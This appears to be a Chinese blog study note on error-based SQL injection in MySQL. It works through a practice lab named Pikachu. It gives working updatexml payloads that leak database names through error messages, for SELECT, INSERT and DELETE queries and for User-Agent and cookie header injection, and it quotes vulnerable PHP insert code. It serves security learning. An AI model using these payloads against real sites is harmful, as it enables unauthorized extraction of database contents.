安全之数据库 数据库函数报错回显 配合其他语法注入,http头注入4

有输入的地方就有漏洞

数据库报错信息回显

把数据库的错误返回给前端,或者返回空数据给前端, 如果在业务代码中,没有捕获这种报错信息,就能利用这种漏洞。
concat  字符串拼接符

mysql> select concat(id ,xxxx,username) from member;
1054 - Unknown column 'xxxx' in 'field list'
mysql> select concat(id ,'xxx',username) from member;
+----------------------------+
| concat(id ,'xxx',username) |
+----------------------------+
| 1xxxvince                  |
| 2xxxallen                  |
| 3xxxkobe                   |
| 4xxxgrady                  |
| 5xxxkevin                  |
| 6xxxlucy                   |
| 7xxxlili                   |
+----------------------------+

# 使用concat功能,把函数塞进 参数中,利用错误返回的漏洞,反弹出函数或者sql语句执行的结果

mysql> select concat('kkk',(select @@version),'pppp') from member;
+-----------------------------------------+
| concat('kkk',(select @@version),'pppp') |
+-----------------------------------------+
| kkk5.5.53pppp                           |
| kkk5.5.53pppp                           |
| kkk5.5.53pppp                           |
| kkk5.5.53pppp                           |
| kkk5.5.53pppp                           |
| kkk5.5.53pppp                           |
| kkk5.5.53pppp                           |
+-----------------------------------------+
7 rows in set (0.03 sec)



常用回显函数

1、updaetxml : 对xml文档数据进行查询和修改xpath函数

2、extractvalue :对xml文档数据进行查询的xpath函数

3、floor 取整函数

# 注入语句 v' and updatexml(1,concat(0x7e,(select database()),0x7e),1)#
# 解读
# v'  闭合sql语句
#  updatexml(1,,1)
 updatexml(里面三个参数)
   第一个参数 1   xml_doccument 字符串类型,xml文档的名称
   第二个参数 2 concat(0x7e,(select database()),0x7e)     XPath_string (Xpath格式的字符串)   
   第三个参数 1  new_value  String格式 。

 查询文件数据 把第二个参数改成函数,传到sql解释器执行,又因为字符类型不同,updatxml 报错,同时把函数的返回值,同报错信息一同返回。
    
    
    XPATH syntax error: '~pikachu~'

函数报错这个特性和 select insert update delete 进行匹配,达到另一种脱库的方法。

insert语句注入

通过对 username 这个值添加 ' 单引号,返回sql语法错误,说明这个位置有注入点。

拼接sql语句 ,开始注入 ,对于不是select 的sql 语句 ,只能用 函数报错的方式进行数据回显。
test' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '        ### 这句是显示一个结果的内容

只要有数据回显,那么就可以根据 information_schema的表 依次返回库名,表名 字段和数据

开发代码:
$query="insert into member(username,pw,sex,phonenum,email,address) values('{$getdata['username']}',md5('{$getdata['password']}'),'{$getdata['sex']}','{$getdata['phonenum']}','{$getdata['email']}','{$getdata['add']}')";

提取数据:
'{$getdata['username']}'  

'username' = '   test' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '     '
                    这个' 闭合代码里的第一个 ’分号                                     这个' 闭合代码里的后面的 ’分号    
    

update 语句注入

delete 语句注入

delete from message where id={$_GET['id']}"

or updatexml(1,concat(0x7e,(select database()),0x7e),1)

因为 id 为数字类型,所以不用加单引号 


数据库安全 http 请求头的注入

请求头包含的信息:
请求的协议  
请求的协议版本
请求的主机信息
请求发起者的 系统 架构  游览器 版本  
content_type 编码类型
是否压缩方式
cookie值

在运维领域,需要对 来源的信息,cookie 进行收集 ,信息是要写入到数据库的,延伸出对请求头中的 user_agent,cookie 进行注入的攻击手段。

1、user_agent注入

对来源的信息收集的话,一般是在用户登录成功后,重定向访问的页面时,去抓取的访问来源者的信息,

抓包的时候注意 ,要点击登录成功后,寻找 重定向的页面是哪一个 。。
 test' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '
   这个' 闭合代码里的第一个 ’分号                                 这个' 闭合代码里的后面的 ’分号    

2、cookie 注入

cookie session token 三者的区别是什么 ??

服务器维持会话
' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '

posted @ 2019-02-01 15:23  mmszxc  阅读(209)  评论(0)    收藏  举报